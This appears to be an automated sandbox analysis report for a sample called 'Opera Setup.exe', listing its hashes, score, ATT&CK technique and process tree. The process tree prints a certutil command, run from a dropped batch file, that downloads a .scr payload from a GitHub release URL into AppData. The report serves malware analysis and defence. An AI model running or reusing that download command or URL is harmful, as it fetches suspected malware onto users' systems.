40407aefb7dce2a13b00b546e6ed7f4d832114d2a258d9efd5b807125208efd8

Analysis

max time kernel
899s
max time network
441s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
18/04/2026, 17:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Opera Setup.exe
Size 120KB
Sample260418-wa8czads21
SHA256 40407aefb7dce2a13b00b546e6ed7f4d832114d2a258d9efd5b807125208efd8
MD5 756a6677ea12683371b14e5c1ed2a60c
SHA1 d2d76ce9ec65370eb417024d93e4312d810ee039
SHA512 8a9fd2b20b5e589fe7f4f2b7106efc8b6e9b64e000cbd791970572d6f19975d8722b1a324a423cba7e22d4b78af3f959b23836a17bfa3ef45f6c1713ddcce7cd
SSDEEP 3072:kV3J6kkt5h1X+HqTi0BW69hd1MMdxPe9N9uA0/+hL9TBfnPXz:Jt5hBPi0BW69hd1MMdxPe9N9uA069TBj
TLSH
T135C32756B2E01198EBF581F6D9920746EB7074311B15A3DB6B7863B31B2B8C58F3D3A0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 5036	3160	Opera Setup.exe	80
PID 5036 wrote to memory of 3076	5036	cmd.exe	82

C:\Users\Admin\AppData\Local\Temp\Opera Setup.exe
"C:\Users\Admin\AppData\Local\Temp\Opera Setup.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3160
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\4ACF.tmp\4AD0.tmp\4AE1.bat "C:\Users\Admin\AppData\Local\Temp\Opera Setup.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5036
- - C:\Windows\system32\certutil.exe
    certutil -urlcache -split -f "https://github.com/loyyy393-dot/greyt5ryertyteryter/releases/download/allah/higher.scr" "C:\Users\Admin\AppData\Roaming\higher.scr"
    3⤵
    PID:3076

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4AE1.bat

Path C:\Users\Admin\AppData\Local\Temp\4ACF.tmp\4AD0.tmp\4AE1.bat
Size 596B
SHA256 d48d4f294d8f1690c0bc191e6cdf36ee2a0e00b719302e55f04df45d6dfbdf22
MD5 1c2ab23dd1b7654dbdcf0771157b9780
SHA1 835bf2273b8cb68229cbca87f9b98480e4472803
SHA512 16e3727f6241b953a0c7164cbcf4b3f41c47c28f61be546842e106cc444fbe3caf03fb7ea8d141a48866e583b6ad572212afbc67c189d29dfe3c1299629f721a
TLSH
T1CDF0AC3B6C904556873A7ABAC53E1604A20512839F07E2E52285A07197A7F1B84BA1CB
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3076-2-0x00000285D4920000-0x00000285D4932000-memory.dmp

Download

memory/3076-18-0x00000285D4940000-0x00000285D494C000-memory.dmp

Download

memory/3076-25-0x00000285D4940000-0x00000285D494C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads